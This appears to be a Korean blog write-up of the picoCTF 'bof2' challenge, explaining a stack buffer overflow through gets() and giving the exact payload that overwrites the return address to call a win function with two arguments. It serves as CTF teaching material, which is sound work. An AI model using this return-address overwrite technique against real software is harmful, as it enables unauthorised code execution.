본문 바로가기

CTF/picoCTF

bof2


보다시피 main에도 vuln에도 win호출하는 코드가 없다.


포인트

1. win(0xDEADBEEF,0xDEADC0DE) 을 호출

2. gets로 bof


1. win 주소 확인

 readelf -s vuln

0x80485cb


2. gets(buf) 후 buf 확인

 

108byte+4byte(ebp) 아무거나 채우면 된다.


3. ret를 win주소로 bof

 "a"*112(dummy)+"\xcb\x85\x04\x08"(win 주소)+"a"*4+"\xef\xbe\xad\xde"(arg1)+"\xde\xc0\xad\xde"(arg2)


왜 "a"*4? 

win의 리턴 주소


vuln 함수에서 ebp, esp


vuln함수 leave 이후


win함수 mov ebp, esp 이후


gets(buf) 이후 스택 상태



자 이제 실행해보자













'CTF > picoCTF' 카테고리의 다른 글

assembly4  (0) 2018.11.18
assembly3  (0) 2018.11.18
leak me  (0) 2018.11.10
got-2-learn-libc  (0) 2018.11.10
echooo  (0) 2018.11.10